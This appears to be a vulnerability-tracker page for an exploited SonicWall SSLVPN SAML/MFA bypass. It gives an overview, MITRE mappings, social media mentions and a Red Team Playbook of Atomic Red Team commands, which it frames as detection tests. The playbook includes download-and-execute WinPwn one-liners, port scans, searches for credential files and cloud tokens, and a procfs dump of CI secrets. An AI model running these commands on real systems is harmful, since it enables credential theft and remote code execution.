CVE-2026-19868

HIGH CISA KEV Pub 06/11 Upd 07/11

Overview

This vulnerability is an authentication bypass caused by improper enforcement of authentication mechanisms within the SonicOS SSLVPN service. The root cause lies in the failure to correctly validate SAML authentication tokens when alternate authentication methods are used. The affected component is the SonicOS SSLVPN authentication logic, which incorrectly permits users authenticated via alternate methods to bypass SAML controls.

Vulnerability Description

An authentication enforcement vulnerability in SonicOS SSLVPN service may allow a user with valid credentials for an alternate authentication method to bypass SAML authentication controls. Successful exploitation may also bypass SAML-enforced multi-factor authentication (MFA).

Impact

An attacker with valid credentials for an alternate authentication method can bypass SAML authentication and multi-factor authentication controls, gaining unauthorized access to the SSLVPN service. No elevated privileges beyond valid alternate credentials are required. This bypass undermines enforced MFA policies, potentially allowing unauthorized network access, lateral movement, and exposure of sensitive internal resources.

Solution

Apply the patch provided by SonicWall in advisory SNWLID-2026-0014, which addresses the authentication enforcement flaw in SonicOS SSLVPN. The vendor recommends updating SonicOS to the fixed version specified in the advisory. Detailed patch instructions and version information are available at https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2026-0014.

EPSS vs KEV Prediction — Evolution (30 days)

Affected Products

No CPE information available.

Exploits

No exploits found for this CVE.

Exploited in Wild CONFIRMED
Ransomware NOT ASSOCIATED
Attacker Interest VERY HIGH
Sightings Considerable activity

Threat Feed

4 events
2026-11-07
Threat Sensor Sighting — Considerable activity

Sighting activity recorded

2026-11-06
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-11-06
Added to CISA KEV Catalog

CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog

Detected as Exploited in the Wild (39 sightings)

Active exploitation confirmed with 39 sighting(s)

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

Authentication Bypass
100% auth_bypass
Insecure Direct Object Reference
41% idor
Privilege Escalation
35% privilege_escalation

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1078 Valid Accounts Initial Access initial-access, persistence, privilege-escalation, defense-evasion Containers, ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, SaaS, Windows
T1059 Command and Scripting Interpreter Kill Chain execution ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, Windows
T1542.001 System Firmware Kill Chain persistence, defense-evasion Windows, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1046 Network Service Discovery Kill Chain discovery Containers, IaaS, Linux, macOS, Network Devices, Windows
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-509 Kerberoasting
33%
— High
CAPEC-560 Use of Known Domain Credentials
30%
High High
CAPEC-644 Use of Captured Hashes (Pass The Hash)
30%
Medium High
CAPEC-645 Use of Captured Tickets (Pass The Ticket)
30%
Low High
CAPEC-653 Use of Known Operating System Credentials
30%
High High

Red Team Playbook

49 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell) 
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD) 
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1046 Network Service Discovery for Containers containers Shell
Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and...
Command (Shell) 
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
T1046 Port Scan Linux, macOS Bash
Scan ports to check for listening ports. Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
Command (Bash) 
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
T1046 Port Scan NMap for Windows Windows PowerShell Privileged
Scan ports to check for listening ports for the local host 127.0.0.1
Command (PowerShell) 
nmap #{host_to_scan}
T1046 Port Scan Nmap Linux, macOS Shell Privileged
Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
Command (Shell) 
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
T1046 Port Scan using nmap (Port range) Linux, macOS Shell Privileged
Scan multiple ports to check for listening ports with nmap
Command (Shell) 
nmap -Pn -sV -p #{port_range} #{host}
T1046 Port Scan using python Windows PowerShell
Scan ports to check for listening ports with python
Command (PowerShell) 
python "#{filename}" -i #{host_ip}
T1046 Port-Scanning /24 Subnet with PowerShell Windows PowerShell
Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask. The connection attempts to use a timeout parameter in...
Command (PowerShell) 
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
    $ip_list = $ipAddr -split ","
    $ip_list = $ip_list.ForEach({ $_.Trim() })
    Write-Host "[i] IP Address List: $ip_list"

    $ports = #{port_list}

    foreach ($ip in $ip_list) {
        foreach ($port in $ports) {
            Write-Host "[i] Establishing connection to: $ip : $port"
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} elseif ($ipAddr -notlike "*,*") {
    if ($ipAddr -eq "") {
        # Assumes the "primary" interface is shown at the top
        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
        Write-Host "[i] Using Interface $interface"
        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
    }
    Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
    # Always assumes /24 subnet
    Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

    $ports = #{port_list}
    $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

    foreach ($ip in $subnetIPs) {
        foreach ($port in $ports) {
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} else {
    Write-Host "[Error] Invalid Inputs"
    exit 1
}
T1046 Remote Desktop Services Discovery via PowerShell Windows PowerShell Privileged
Availability of remote desktop services can be checked using get- cmdlet of PowerShell
Command (PowerShell) 
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
T1046 WinPwn - MS17-10 Windows PowerShell
Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
T1046 WinPwn - bluekeep Windows PowerShell
Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
T1046 WinPwn - fruit Windows PowerShell
Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
T1046 WinPwn - spoolvulnscan Windows PowerShell
Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
T1046 Windows - Port Scan using RustScan (Port list) Windows PowerShell
Scan ports on a target host using RustScan. Downloads the portable RustScan release binary and scans 127.0.0.1 by default. Uses --greppable so that nmap is not a dependency.
Command (PowerShell) 
& "#{rustscan_path}" -a #{host_to_scan} --greppable -p #{port_list}
T1059 AutoIt Script Execution Windows PowerShell
An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.
Command (PowerShell) 
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
T1542.001 UEFI Persistence via Wpbbin.exe File Creation Windows PowerShell Privileged
Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms. - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c -...
Command (PowerShell) 
echo "Creating %systemroot%\wpbbin.exe"      
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
T1552.001 Access Drone CI Config File Linux, macOS Shell
Find Drone CI configuration files (.drone.yml), which may contain credentials, secrets, or sensitive environment variables used in Drone CI/CD pipelines.
Command (Shell) 
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Access Gitlab CI Config File Linux, macOS Shell
Find GitLab CI configuration files (.gitlab-ci.yml), which may contain credentials, secrets, or sensitive environment variables.
Command (Shell) 
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Access Jenkinsfile Linux, macOS Shell
Find Jenkinsfiles, which may contain credentials, secrets, or sensitive environment variables used in Jenkins CI/CD pipelines.
Command (Shell) 
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Access Travis CI Config File Linux, macOS Shell
Find Travis CI configuration files (.travis.yml), which may contain credentials, secrets, or sensitive environment variables.
Command (Shell) 
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD) 
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Dump GitHub Actions Runner Environment Variables from procfs Linux Bash
Locates GitHub Actions runner processes (Runner.Worker, Runner.Listener, runsvc, run.sh) and reads their environment variables from /proc/<pid>/environ, filtering for keys containing "env" or "ssh". This mirrors TeamPCP malware behavior that harvests credentials and secrets...
Command (Bash) 
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash) 
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell) 
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell) 
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find .env Files Containing Application Credentials Linux, macOS Shell
Searches common web application and service directories for .env files (.env, .env.local, .env.production, .env.development, .env.staging) that may contain credentials such as API keys, database passwords, and service secrets. Adversaries targeting web servers or...
Command (Shell) 
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell) 
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell) 
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Find Docker credentials Linux, macOS Shell
Find local Docker credentials from file, defaults to using / as the look path.
Command (Shell) 
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell) 
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Find HashiCorp Vault token files Linux, macOS Shell
Find HashiCorp Vault token files (~/.vault-token), which contain plaintext Vault tokens that grant access to secrets stored in Vault.
Command (Shell) 
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Find Kubernetes cluster configuration files Linux Shell Privileged
Find Kubernetes configuration files requiring root privileges, including the root user kubeconfig (~/.kube/config) and cluster-level configuration files in /etc/kubernetes/. These files contain API server addresses, client certificates, and bearer tokens that grant access to...
Command (Shell) 
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
T1552.001 Find Kubernetes user configuration files Linux, macOS Shell
Find Kubernetes user configuration files (~/.kube/config), which contain API server addresses, client certificates, and bearer tokens that grant access to the Kubernetes cluster. Defaults to using / as the search path.
Command (Shell) 
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell) 
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find Terraform credential files Linux, macOS Shell
Find Terraform credential files which may contain sensitive values such as API keys, passwords, and infrastructure secrets. Searches for both terraform.tfvars and terraform.tfstate.
Command (Shell) 
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
T1552.001 Find and Access Github Credentials Linux, macOS Shell
Find .netrc files, which store GitHub credentials in clear text, and dump their contents if found.
Command (Shell) 
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Find database credential files Linux, macOS Shell
Find user-level database credential files. Examples include ~/.pgpass, ~/.my.cnf, and ~/.mongorc.js.
Command (Shell) 
for filename in #{filenames}; do
  find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
T1552.001 Find npm registry credential files Linux, macOS Shell
Find .npmrc files, which may contain plaintext npm registry authentication tokens.
Command (Shell) 
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Find system database configuration files Linux Shell Privileged
Find system-level database configuration files (/etc/mysql/my.cnf, /etc/redis/redis.conf) which may contain credentials. Requires root privileges.
Command (Shell) 
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD) 
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell) 
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 Search for Git Credential Files Linux, macOS Shell
Searches the specified directory for a git credential file, which may contain plaintext credentials, access tokens, or credential helper configurations. Example files include .git-credentials and .gitconfig.
Command (Shell) 
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

News (2)

Mentions (50)

58 mentions from 43 sources in the last 7 days BuzzFactor 98 / 100

  • social bsky.app @cybersecurity.poliverso.org.ap.brid.gy 2026-11-07 09:09 UTC
    U.S. CISA adds SonicWall SonicOS SSLVPN vulnerability CVE-2026-19868 to its Known Exploited Vulnerabilities catalog. The U.S. Cybersecurity and Infrastructure Security Agency (CISA) added a SonicWall SonicOS SSLVPN flaw, tracked as CVE-202…
    Open source
  • social bsky.app @runbooklab.bsky.social 2026-11-07 08:29 UTC
    SonicWall SSL-VPN CVE-2026-19868, in CISA KEV since 6 Nov: valid alternate credentials may bypass SAML and its MFA. Only where SAML is used for SSL-VPN logins. Do this: upgrade Gen 7 to 7.3.4-7013+, Gen 8 to 8.2.3-8015+. Source: SNWLID-202…
    Open source
  • social bsky.app @allaboutsecurity.bsky.social 2026-11-07 08:28 UTC
    SonicWall SonicOS: Angreifer umgehen MFA im SSLVPN Die Lücke CVE-2026-19868 ist Teil eines Sicherheitshinweises zu insgesamt sieben Schwachstellen. shorturl.at/hQeD8 #schwachstellen #sicherheitslücken #pach
    Open source
  • social bsky.app @cybowl.bsky.social 2026-11-07 08:17 UTC
    🔴 Exploitation confirmée (CISA KEV, ajouts du 06/11) · 1 • SonicWall SonicOS SSLVPN CVE-2026-19868, CVSS 7.5
    Open source
  • social mastodon.social @burso 2026-11-07 07:46 UTC
    SonicWall SSL-VPN flaw CVE-2026-19868 is exploited in the wild and now in CISA KEV: with valid creds for another login method, attackers skip SAML and the MFA it enforces. Patch to SonicOS 7.3.4-7013 / 8.2.3-8015, no workaround. # SonicWal…
    Open source
  • social bsky.app @pmloik.bsky.social 2026-11-07 07:43 UTC
    Top 3 CVE for last 7 days: CVE-2026-98432: 222 interactions CVE-2026-83844: 122 interactions CVE-2026-109518: 50 interactions Top 3 CVE for yesterday: CVE-2026-83844: 59 interactions CVE-2026-123158: 42 interactions CVE-2026-19868: 15 inte…
    Open source
  • social bsky.app @infonewscyber.bsky.social 2026-11-07 07:04 UTC
    ☀️ Le point cyber du 07/11 65 infos en 24 h dont 1 critiques ⚠️ CVE-2026-19868 activement exploitée : utilisation… 🇫🇷💀 Ligne Roset revendiquée par le groupe akira 🇫🇷🔓 CyberAttaque du Secours Islamique France : les… 🔗 https://infonewscyber.…
    Open source
  • social bsky.app @threatspotai.bsky.social 2026-11-07 06:30 UTC
    🚨 CISA KEV Alert CVE-2026-19868: ⚠️ CVE-2026-19868: New Actively Exploited Vulnerability Added to CISA KEV Severity: HIGH | CVSS: 0.0 Actively exploited Read the full alert: https://threatspot.ai/alerts/2026-19868-an-authentication-enforce…
    Open source
  • social bsky.app @raven-sec.bsky.social 2026-11-07 06:01 UTC
    IBM API Connect cascade + active SonicWall & OpenSSH exploits • API Connect CVSS 9.6 wildcard injection flaw • SonicWall MFA bypass CVE-2026-19868 in KEV • OpenSSH SSHole exploited within hours 5 sources verified · hackingallthethings.com…
    Open source
  • news gbhackers.com 2026-11-07 05:50 UTC
    Hackers Exploit SonicWall SSL-VPN Vulnerability to Bypass Multi-Factor Authentication in Active Attacks - GBHackers News
    Open source
  • social bsky.app @vulnsea.com 2026-11-07 05:38 UTC
    🌊 ABYSSAL · critical with a public exploit CVE-2026-19868: An authentication enforcement vulnerability in SonicOS SSLVPN service may allow a user with valid credentials for an alternate auth… CVSS 7.5 · CISA KEV · 0day https://vulnsea.com/…
    Open source
  • social bsky.app @undercodenews.bsky.social 2026-11-07 05:37 UTC
    SonicWall Patches Seven SonicOS Vulnerabilities, Including SSL-VPN Authentication Bypass Exploited in Attacks + Video SonicWall has released security updates addressing seven vulnerabilities in its SonicOS firewall operating system, includ…
    Open source
  • news cyberpress.org 2026-11-07 05:10 UTC
    Hackers Exploit SonicWall SSL VPN Flaw to Bypass SAML Authentication and MFA - Cyber Press
    Open source
  • social bsky.app @undercode.bsky.social 2026-11-07 05:10 UTC
    Critical Threat Intelligence: SonicWall SonicOS SSLVPN MFA Bypass CVE-2026-19868 Actively Exploited in the Wild + Video Introduction: The discovery and active exploitation of CVE-2026-19868—a high-severity authentication enforcement flaw i…
    Open source
  • social bsky.app @cyfar.ca 2026-11-07 04:01 UTC
    ~Cisa~ CISA added CVE-2026-19868, a SonicWall SonicOS SSLVPN single-factor authentication flaw, to its KEV catalog following active exploitation, requiring federal agencies... - IOCs: CVE-2026-19868 - #AuthenticationBypass #ExploitedVulner…
    Open source
  • social bsky.app @xploitdigest-kev.bsky.social 2026-11-07 03:25 UTC
    Do you run SonicWall SonicOS SSLVPN? CISA lists CVE-2026-19868 as exploited (added 6 Nov 2026). Can it reach you? Over a network, with no login and no click. CVSS 7.5. Plain-English breakdown: xploitdigest.com/kev/CVE-2026-19868 #SonicWall…
    Open source
  • social infosec.exchange @117520238006264481 2026-11-07 03:25 UTC
    Do you run SonicWall SonicOS SSLVPN? CISA lists CVE-2026-19868 as exploited (added 6 Nov 2026). Can it reach you? Over a network, with no login and no click. CVSS 7.5. Plain-English breakdown: https:// xploitdigest.com/kev/CVE-2026- 19868…
    Open source
  • social bsky.app @abijita.bsky.social 2026-11-07 03:21 UTC
    SonicWall Fixes SSLVPN Flaw That Can Bypass SAML MFA SonicWall released fixes for CVE-2026-19868, an exploited SonicOS SSLVPN flaw that can bypass SAML authentication and MFA on affected Gen 7 and Gen 8 firewalls.
    Open source
  • social infosec.exchange @117564362928327035 2026-11-07 03:16 UTC
    New on the Stackurity blog: SonicWall SSLVPN flaw CVE-2026-19868 can bypass SAML and MFA https:// stackurity.ai/blog/sonicwall-s onicos-sslvpn-cve-2026-19868-saml-mfa-bypass-exploited/ # infosec # CVE # patchmanagement
    Open source
  • social bsky.app @stackurity.ai 2026-11-07 03:16 UTC
    CISA lists SonicWall SonicOS SSLVPN flaw CVE-2026-19868 as exploited: a SAML bypass that can also defeat MFA. Apply SonicWall's mitigation. Stackurity does not cover appliance firmware. stackurity.ai/blog/sonicwall-sonicos-...
    Open source
  • social infosec.exchange @edwardk 2026-11-07 02:59 UTC
    SonicWall warns of new SSL-VPN MFA bypass flaw exploited in attacks SonicWall has patched seven SonicOS vulnerabilities, including CVE-2026-19868, an SSL-VPN flaw that lets attackers with credentials for an alternate authentication method…
    Open source
  • social bsky.app @e-kiledjian.bsky.social 2026-11-07 02:59 UTC
    SonicWall warns of new SSL-VPN MFA bypass flaw exploited in attacks SonicWall has patched seven SonicOS vulnerabilities, including CVE-2026-19868, an SSL-VPN flaw that lets attackers with credentials for an alternate authentica... https://…
    Open source
  • social infosec.exchange @116075764941463905 2026-11-07 02:20 UTC
    🟠 New security advisory: CVE-2026-19868 affects multiple systems. • Impact: Significant security breach potential • Risk: Unauthorized access or data exposure • Mitigation: Apply patches within 24-48 hours Full breakdown: https://www. yazo…
    Open source
  • social mastodon.social @116075740208223403 2026-11-07 02:20 UTC
    🟠 New security advisory: CVE-2026-19868 affects multiple systems. • Impact: Significant security breach potential • Risk: Unauthorized access or data exposure • Mitigation: Apply patches within 24-48 hours Full breakdown: https://www. yazo…
    Open source
  • social bsky.app @newssecia.bsky.social 2026-11-07 01:21 UTC
    🤖 SonicWall CVE-2026-19868 (CVSS 7.1): SSL-VPN auth bypass in SonicOS, valid alt creds skip SAML/MFA. Exploited in the wild, in CISA KEV. Fixed 7.3.4-7013 / 8.2.3-8015. https://www.bleepingcomputer.com/news/security/sonicwall-warns-of-new-…
    Open source
  • social infosec.exchange @cloud 2026-11-07 01:21 UTC
    🤖 SonicWall CVE-2026-19868 (CVSS 7.1): SSL-VPN auth bypass in SonicOS. Valid creds on an alternate auth method let attackers skip SAML, incl. SAML-enforced MFA. Exploited in the wild, in CISA KEV (fix by Nov 20). Fixed in 7.3.4-7013 / 8.2.…
    Open source
  • social bsky.app @entorisec.bsky.social 2026-11-07 01:06 UTC
    SonicWall fixed a SonicOS SSL-VPN flaw (CVE-2026-19868) that can bypass SAML auth, possibly including MFA. CISA added it to KEV. Fixed in Gen7 7.3.4-7013 and Gen8 8.2.3-8015, no workarounds, per BleepingComputer. bleepingcomputer.com/news/…
    Open source
  • social bsky.app @suriq.io 2026-11-07 00:41 UTC
    🔴 EXPLOITED SonicWall CVE-2026-19868 lets a password from another login method skip SAML single sign-on and its MFA on SSL VPN. It is now exploited. Affects SonicOS firewalls using SAML for VPN logins. Fix: 7.3.4-7013 or 8.2.3-8015.
    Open source
  • social bsky.app @alienrick.xyz 2026-11-07 00:33 UTC
    Multi-factor, they said. Cute. SonicWall SSL-VPN CVE-2026-19868: valid password on the alternate auth path walks past SAML MFA. Exploited. CISA stuck it on KEV. Federal deadline Nov 20. Patch Gen7/8 or enjoy the side door. @bleepingcompute…
    Open source
  • social bsky.app @undercodenews.bsky.social 2026-11-07 00:24 UTC
    SonicWall Patches Seven SonicOS Vulnerabilities as Hackers Exploit SSL-VPN Authentication Bypass Flaw Critical Security Warning: Active Exploitation Confirmed SonicWall has released emergency security updates addressing seven vulnerabiliti…
    Open source
  • social bsky.app @fc-vulns.bsky.social 2026-11-07 00:15 UTC
    CVE-2026-19868 added to CISA KEV on 2026-11-06. An authentication enforcement vulnerability in SonicOS SSLVPN service may allow a user with valid credentials for an alternate authentication method. Don’t miss this KEV addition. https://www…
    Open source
  • social infosec.exchange @116769913619325742 2026-11-07 00:01 UTC
    🔴 EXPLOITED CVE-2026-19868: A SonicWall SonicOS SSLVPN flaw may let a user with valid credentials for another login method bypass SAML authentication and SAML-enforced MFA. Listed in CISA KEV. Affected: Gen7 7.3.3-7015 and older, Gen8 8.2.…
    Open source
  • social bsky.app @suriq.io 2026-11-07 00:01 UTC
    🔴 EXPLOITED CVE-2026-19868: A SonicWall SonicOS SSLVPN flaw may let a user with valid credentials for another login method bypass SAML controls and SAML-enforced MFA. Listed in CISA KEV. Apply SonicWall mitigations by Nov 20, the KEV due d…
    Open source
  • news bleepingcomputer.com 2026-11-07 00:00 UTC
    SonicWall warns of new SSL-VPN MFA bypass flaw exploited in attacks - BleepingComputer
    Open source
  • social bsky.app @windowsforum.com 2026-11-07 00:00 UTC
    Win11 26H1 28020.3445 adds inline Search actions; builds 26340.9882 (Hello audit) & 29704.1000 (AMD audio fix); SonicWall SSLVPN CVE-2026-19868 exploited; Entra ID app secrets abused. Member diver photo. +25 more stories, 6 new members
    Open source
  • social bsky.app @unnchain.bsky.social 2026-11-06 23:15 UTC
